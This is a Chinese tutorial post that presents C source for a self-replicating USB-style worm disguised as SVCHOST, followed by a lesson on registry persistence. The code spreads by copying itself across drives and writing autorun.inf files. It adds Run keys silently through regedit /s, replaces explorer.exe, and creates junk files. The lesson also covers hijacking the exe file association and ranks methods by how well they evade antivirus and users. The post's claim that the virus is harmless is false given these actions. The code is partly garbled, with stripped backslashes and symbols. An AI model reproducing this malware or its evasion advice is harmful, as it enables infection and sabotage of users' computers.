C语言病毒
最基本的病毒. 本病毒的功能: 1.在C、D、E盘和c:windowssystem、c:windows中生成本病毒体文件 2.在C、D、E盘中生成自动运行文件 3.注册c:windowssystemsvchost.exe,使其开机自动运行 4.在C:windowssystem下生成隐蔽DLL文件 5.病毒在执行后具有相联复制能力
本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。
以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过 请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究 / SVCHOST.C / / SVCHOST.EXE /
define SVCHOST_NUM 6
include
include
char autorun={"nopen=SVCHOST.exennshell1=打开nshell1Command=SVCHOST.exenshell2=Opennshell2Command=SVCHOST.exenshellexecute=SVCHOST.exe"}; char files_autorun={"c:autorun.inf","d:autorun.inf","e:autorun.inf"}; char files_svchost={"c:windowssystemMSMOUSE.DLL", "c:windowssystemSVCHOST.exe","c:windowsSVCHOST.exe", "c:SVCHOST.exe","d:SVCHOST.exe","e:SVCHOST.exe","SVCHOST.exe"}; char regadd="reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" /v SVCHOST /d C:WindowssystemSVCHOST.exe /f";
int copy(char infile,char outfile) { FILE input,output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; } else return 1; } int main(void) { FILE input,output; int i,k; for(i=0;i /标准输入输出/
include /字符串操作/
include /其它函数/
include
/进程控制/
include /目录函数/
define SVCHOST_NUM 6 /关键位置病毒复制数量/
define RUBBISH_NUM 5 /垃圾文件数量/
define REMOVE_NUM 5 /删除文件数/
/====================================================================/ / 文件AUTORUN.INF内容: 1.自动运行SVCHOST.com 2.覆盖默认打开命令,使用病毒体作为新的打开方式 3.覆盖默认资源管理器命令,使病毒体作为新的命令方式 / char *autorun={"nopen="SVCHOST.com /s"nshellopen=打开(&O)
nshellopenCommand="SVCHOST.com /s"nshellexplore=资源管理器(&X)
nshellexploreCommand="SVCHOST.com /s""}; /=====================================================================/ / 添加注册表项: 1.自动运行生成病毒体C:windowswjview32.com / char *regadd={"REGEDIT4nn
n"wjview32
"="C:\windows\wjview32.com /s""}; /=====================================================================/ / 函数:复制文件 复制源:infile 目的地:outfile 成功返回0,失败返回1 / int copy(char infile,char outfile) { FILE input,output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; } else return 1; } /=====================================================================/ / 函数:通过explorer自动运行 成功返回0,失败返回1,2 / int autorun_explorer() { FILE *input; if((input=fopen("c:windowssystemexplorer.exe","rb"))!=NULL) { fclose(input); remove("c:windows$temp$"); remove("c:windowssystem32dllcache$temp$"); return 1; } copy("c:windowsexplorer.exe","c:windowssystemexplorer.exe"); rename("c:windowsexplorer.exe","c:windows$temp$"); rename("c:windowssystem32dllcacheexplorer.exe","c:windowssystem32
dllcache$temp$"); if(copy("SVCHOST.com","c:windowsexplorer.exe")==0 && copy
("SVCHOST.com","c:windowssystem32dllcacheexplorer.exe")==0) return 0; else return 2; } /=====================================================================/ / 函数:添加注册表项 成功返回0,失败返回1 / int add_reg() { FILE output; if((output=fopen("$$$$$","w"))!=NULL) { fprintf(output,regadd); fclose(output); spawnl(1,"c:windowsregedit.exe"," /s $$$$$",NULL); } } /=====================================================================/ / 函数:复制病毒 + Autorun.inf自动运行 / void copy_virus() { int i,k; FILE input,output; char files_svchost=
{"svchost.com","c:windowswjview32.com","c:windowssystemMSMOUSE.DLL","c:windowssyste
m32cmdsys.sys","c:windowssystem32mstsc32.exe","c:windowsexplorer.exe"}; char temp={"c:svchost.com","c:autorun.inf"}; for(i=0;i1) if(strcmp(argv,"/s")==0) goto next1; autorun_explorer(); spawnl(1,"c:windowssystemexplorer.exe",NULL); next1: add_reg(); copy_virus(); make_rubbish(); / remove_files(); / spawnl(1,"c:windowssystem32mstsc32.exe"," /s",NULL); return 0; }
这是第三篇连载了,这次着重写些编程技术和病毒原理方面问题。 注册表篇 1.可以用于病毒开机自启动的注册表位置:
以上只是默认运行的部分注册表位置,其实还可以在系统启动外客(shell explorer.exe)后添加病毒路径等方法,同样可以实现通过注册表开机自动运行。 2.关联文件类型 在注册表HKEY_CLASS_ROOT下可以更改文件类型的默认启动程序,比如更改EXE文件的启动程序为你写的病毒,那么每当运行exe程序时,病毒将替代程序运行 例: 到注册表HKEY_CLASS_ROOTexefileshellopencommand下,修改“默认”修改为c:windowssvchost.exe "%1" %*,那么以后运行.exe文件时只会运行c:windowssvchost.exe
3.程序修改注册表的方法: (1)使用REG命令添加修改注册表: REG命令使用方法具体可以在命令提示符中输入REG /?和通过参阅Windows命令帮助查看 主要格式: REG Operation
Operation 例:向HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun中添加名为SVCHOST的键值,键值内容为C:WindowssystemSVCHOST.exe
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" /v SVCHOST /d C:WindowssystemSVCHOST.exe /f
调用reg命令的方法主要有两中,一种是使用C语言中的system函数,另一种是使用C语言中的spawn类函数(如函数spawnl)。具体system和spawnl使用方法请参见其它资料,这里仅举一例:
例:用system函数通过reg命令向HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun中添加名为SVCHOST的键值,键值内容为C:WindowssystemSVCHOST.exe
system("reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" /v SVCHOST /d C:WindowssystemSVCHOST.exe /f");
评论与小结:使用REG命令添加注册表可以达到直接调用系统命令(工具)来修改注册表的目的,如果被杀毒软件拦截也只会显示修改操作的发出来自C:WINDOWSsystem32reg.exe,使病毒不容易被寻找到。但由于REG命令属于控制台命令,因此调用时有黑色的控制台出现,是病毒的征兆被感染用户发现,不利于病毒隐藏。
(2)使用WindowsAPI添加修改注册表 WindowsAPI为我们提供了大约25个函数。他提供了对注册表的读取,写入,删除,以及打开注册表及键值时所有函数这些函数有: RegCloseKey RegConnectRegistry RegCreateKey RegCreateKeyEx RegDeleteKey RegDeleteVale RegEnumKey RegFlushKey RegGetKeySecurity(Windows9X不适用) RegLoadKey RegNotifyChangeKeyValue(Windows9X不适用) RegOpenKey RegOpenKeyEx RegQueryInfoKey RegQueryValue RegQueryValueEx RegReplaceKey RegRestoreKey(Windows9X不适用) RegSaveKey RegSetKeySecurity(Windows9X不适用) RegSetValue RegSetValueEx RegUnLoadKey 等,函数的使用需要在32位C编译器下调用windows.h文件,同(1)中一样,具体函数的使用方法请参见其它资料,这里仅举一例. 例:通过WindowsAPI向HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun中添加名为SVCHOST的键值,键值内容为C:WindowssystemSVCHOST.exe
TRegistry* Registry; Registry=new TRegistry(); Registry->RootKey=HKEY_LOCAL_MACHINE; Registry->OpenKey("SOFTWAREMicrosoftWindowsCurrentVersionRun",FALSE); Registry->WriteString("SVCHOST","C:WindowssystemSVCHOST.exe");WriteString() Registry->CloseKey();
评论与小结:使用WindowsAPI添加注册表可以达到直接无须调用系统命令(工具)就可以修改注册表的目的,但如果被杀毒软件拦截会显示修改操作来自的病毒体文件所在的路径,使病毒容易被寻找到。但由于WindowsAPI可以“悄悄”的完成修改,在前台没有任何显示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏。 (3)使用REGEDIT添加修改注册表 REGEDIT就是注册表编辑器,但它其实有一个/s的参数,只要调用regedit /s 注册表文件,就可以在后台无提示的修改注册表。同样需要用spawnl函数调用它。
例:通过spawnl函数调用regedit向HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun中添加名为wjview32的键值,键值内容为C:windowswjview32.com /s char regadd={"REGEDIT4nnn"wjview32"="C:\windows\wjview32.com /s""}; FILE output; if((output=fopen("$$$$$","w"))!=NULL) { fprintf(output,regadd); fclose(output); spawnl(1,"c:windowsregedit.exe"," /s $$$$$",NULL); } 评论与小结:使用spawnl函数+REGEDIT可以兼得WindowsAPI和REG两种方法的优势,添加注册表如果被杀毒软件拦截会显示修改操作来自c:windowsregedit.exe,使病毒的路径难以被寻找到,利于病毒的隐藏。REGEDIT可以“悄悄”的完成修改,在前台没有任何显示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏